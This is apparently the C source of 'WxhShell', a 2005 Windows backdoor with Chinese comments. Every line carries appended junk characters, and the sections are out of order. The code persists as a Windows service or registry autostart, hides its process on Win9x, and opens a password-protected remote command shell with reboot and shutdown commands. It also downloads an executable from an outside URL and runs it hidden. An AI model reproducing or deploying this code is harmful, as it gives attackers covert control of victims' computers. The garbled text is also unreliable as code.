\3n{w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sb:zN'U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0[Xt,~
/%J&/2Wz
HANDLE hProcess; <
"L){$
PROCESS_BASIC_INFORMATION pbi; ?)Czl4J
&xGfkCP.]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z:ru68
if(NULL == hInst ) return 0; <B]i80.
Dyouk+08x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1jUhG2y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rZ8Y=) e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (n":]8}
WuP([8
if (!NtQueryInformationProcess) return 0; X/`#5<x
:/yr(V{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a'_MhJ zs
if(!hProcess) return 0; \p>]G[g
Y^c,mK^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X] JpS
C0t+Q
CloseHandle(hProcess); ,E*a$cCw
0p:ClM2O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;+r) j"W
if(hProcess==NULL) return 0; .yK\&q[<
s3MMICRT.
HMODULE hMod; "W_jdE6v
char procName[255]; =M/UHOY
unsigned long cbNeeded; Z!]U&Ax`Z
dbMu6Bm\G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BDRYip[Sa
}Ke}rM<
CloseHandle(hProcess); S1H47<)UF
zulf%aaL
if(strstr(procName,"services")) return 1; // 以服务启动 a O"nD_7
h0QYoDvbC
return 0; // 注册表启动 ctc`^#q
} i">z8?qF
G!e}j
@@
// 主模块 u'$yYzBE
int StartWxhshell(LPSTR lpCmdLine) D<_,>{$gW
{ }QWTPRn
SOCKET wsl; RKoP6LGw
BOOL val=TRUE; :{wsd$Qlj
int port=0; 6uCk0
B|
struct sockaddr_in door; zgq_0w~X
MUCJ/GF*
if(wscfg.ws_autoins) Install(); =XacG}_
~x0-iBF
port=atoi(lpCmdLine); U>L=.\\|
7/D9n9F
if(port<=0) port=wscfg.ws_port; siss_1J
I7q?V1fu4
WSADATA data; k[r./xEv+t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uhw5O9
+/@ZnE9s
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RK~FT/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); shDt&_n
door.sin_family = AF_INET; HjUw[Yz+6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); JR a*;_
door.sin_port = htons(port); (}~eD
wCq)w=,
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w371.84
closesocket(wsl); Kc9mI>u H
return 1; 4ye`;hXy
} ?(,5eg
e&H<lT
if(listen(wsl,2) == INVALID_SOCKET) { #)PGQ)(
closesocket(wsl); MOqA$b
return 1; VH7iH|eW
} W3o}.|]
Wxhshell(wsl); S,"ChR
WSACleanup(); OO !S
w
?) ,xZ1"
return 0; n6%jhv9H
;8;~C"
} tRUsZl
'a-5UTT
// 以NT服务方式启动 *nsnX/e(-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pZ_FVID
{ LKf5r,C
DWORD status = 0; !aW*dD61
DWORD specificError = 0xfffffff; %8}ksl07
Z z;<P
serviceStatus.dwServiceType = SERVICE_WIN32; {Jw<<<G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; W
&0@&U
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XJxs4a1[t
serviceStatus.dwWin32ExitCode = 0; zFdz]z3
serviceStatus.dwServiceSpecificExitCode = 0; dWB8
serviceStatus.dwCheckPoint = 0; UB&S 2g
serviceStatus.dwWaitHint = 0; rt@-Pw!B
E!}-qbH^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O 44IH`SI
if (hServiceStatusHandle==0) return; e}Af"LI
zy/tQGTr@
status = GetLastError(); |{/O)3
if (status!=NO_ERROR) wh7a|
{ Y3MR:{}
serviceStatus.dwCurrentState = SERVICE_STOPPED; vn%U;}
serviceStatus.dwCheckPoint = 0; h[`Op#^x3
serviceStatus.dwWaitHint = 0; C(t6;&H
serviceStatus.dwWin32ExitCode = status; ^d5./M8Bd
serviceStatus.dwServiceSpecificExitCode = specificError; 7].IT(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZ.0,A*1B1
return; MY<!\4/
} AXU!-er$
3R=3\;
serviceStatus.dwCurrentState = SERVICE_RUNNING; |L_g/e1 A3
serviceStatus.dwCheckPoint = 0; cdtzf:#q
serviceStatus.dwWaitHint = 0; HyX4ob[X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1M~:]}*<
} .{]c&Ef+f
8{4D |o#O
// 处理NT服务事件,比如:启动、停止 $L#Z?76v
VOID WINAPI NTServiceHandler(DWORD fdwControl) w7t"&=pF7
{ <j8&u/Za~'
switch(fdwControl) fkv{\zN
{ N>6yacTB
case SERVICE_CONTROL_STOP: u.L8tR:(
serviceStatus.dwWin32ExitCode = 0; g*AD$":
serviceStatus.dwCurrentState = SERVICE_STOPPED; u&d v[
serviceStatus.dwCheckPoint = 0; Yqhz(&*)
serviceStatus.dwWaitHint = 0; 9uq+Ve>
{ 8apKp?~yW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pl5NHVr
} Uo[5V|>X6
return; hq8/`u
YF
case SERVICE_CONTROL_PAUSE: zUUxxS_?
serviceStatus.dwCurrentState = SERVICE_PAUSED; v!RB(T3
break; zju,#%
case SERVICE_CONTROL_CONTINUE: "MS`d+rf\
serviceStatus.dwCurrentState = SERVICE_RUNNING; l6DIsR
break; *~<]|H5~
case SERVICE_CONTROL_INTERROGATE: 7@y!R
break; FiU;>t<)
}; ~
%YTJS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iJKm27 ">
} io?{ew
s8_NN
// 标准应用程序主函数 gl7vM
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \,bFm,kC?
{ Y %D*O
WWs[]zr
// 获取操作系统版本 qT>&
v_<
OsIsNt=GetOsVer(); DdS3<3]A
GetModuleFileName(NULL,ExeFile,MAX_PATH); !e\R;bYM
dt0E0i
// 从命令行安装 `~+a=Q
if(strpbrk(lpCmdLine,"iI")) Install(); /
-qt}
X$h~d8@r
// 下载执行文件 |XdrO
if(wscfg.ws_downexe) { `:BQ&T%UQR
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L"du"-
WinExec(wscfg.ws_filenam,SW_HIDE); ; 7v7V
} ,;e-37^0l
A&lgiR*ObT
if(!OsIsNt) { ,N|R/Vk$+E
// 如果时win9x,隐藏进程并且设置为注册表启动 ;7`um
HideProc(); rRG\:<a
StartWxhshell(lpCmdLine); K#C56k q&
} E0B2>V
else rB&j"p}Q
if(StartFromService()) dpn&)?f
// 以服务方式启动 }}bi#G:R+
StartServiceCtrlDispatcher(DispatchTable); b=
ec?n #7
else :2Rci`lp
// 普通方式启动 7
} MJK)
StartWxhshell(lpCmdLine); -0IFPL8
V45Udwp^
return 0; yY-t4WeXP
} >iWf7-:
Cv(N5mA2
Ho8.-QSG
/R$x-7t)^(
=========================================== ?gMrcc/{
R qjDMN:
Qnb?hvb"d
+ET
hsVJ&-#
Sq8Q*
" I)%jPH:ua
(5DGs_>
#include <stdio.h> Jq<`j<'9
#include <string.h> u.4vp]eU
#include <windows.h> X%1.mTU~K
#include <winsock2.h>
kt0{-\
p
#include <winsvc.h> L.%~?T[F
#include <urlmon.h> n zrCOMld
PEn^.v@
#pragma comment (lib, "Ws2_32.lib") R^kv!x;h
#pragma comment (lib, "urlmon.lib")
*P\_:>bV(
{s'_zSz
#define MAX_USER 100 // 最大客户端连接数
M9jo<+
#define BUF_SOCK 200 // sock buffer -/2$P
#define KEY_BUFF 255 // 输入 buffer 3b[+m}UWQ
D!$ =oK
#define REBOOT 0 // 重启 Vyq<T(5
#define SHUTDOWN 1 // 关机 >A( C9_\
C2|2XL'l(C
#define DEF_PORT 5000 // 监听端口 Xg3[v3m|
$AhX@|?z
#define REG_LEN 16 // 注册表键长度 4m(>" dHP
#define SVC_LEN 80 // NT服务名长度 @ ZPTf>J}
k^\&.63(
// 从dll定义API 3udIe$.Q
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?BvI/H5d
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j!o3g;j
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "LIii1]k
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y-q?pqt
o9d$
4s@/
// wxhshell配置信息 ;Hp' x_xQ
struct WSCFG { *vE C,)
int ws_port; // 监听端口 v oS"X
char ws_passstr[REG_LEN]; // 口令 GJ_)Cl+5E
int ws_autoins; // 安装标记, 1=yes 0=no ~@?-|xLqQ
char ws_regname[REG_LEN]; // 注册表键名 zXU{p\;)\
char ws_svcname[REG_LEN]; // 服务名 j/mp.'P1k
char ws_svcdisp[SVC_LEN]; // 服务显示名 +Q]'kJ<s
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ugPI1'f
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &b")`p&K
int ws_downexe; // 下载执行标记, 1=yes 0=no @,`=~_J
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n}'.6
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ftuQ"Ds
;/3/R/^g
}; gOmyFHv.
I>o;
%}
// default Wxhshell configuration |(v=1#i
struct WSCFG wscfg={DEF_PORT, TZyQOjUu
"xuhuanlingzhe", XJ/kB8
1, rw0lXs#K<E
"Wxhshell", aDv/kFfn
"Wxhshell", -mw\?\2{
"WxhShell Service", D %
,yA
"Wrsky Windows CmdShell Service", &B0&183
"Please Input Your Password: ", oYErG],
1, Xq!tXJ)
"http://www.wrsky.com/wxhshell.exe", Cwf$`?|W
"Wxhshell.exe" 24/~gft
}; 6="&K_Q7
.p~;U|h"
// 消息定义模块 gO!h<1 !
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; je3n'^m
char *msg_ws_prompt="\n\r? for help\n\r#>"; <7]
Y\{+
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ioCkPj
char *msg_ws_ext="\n\rExit."; R+hS;F nh%
char *msg_ws_end="\n\rQuit."; q$'&R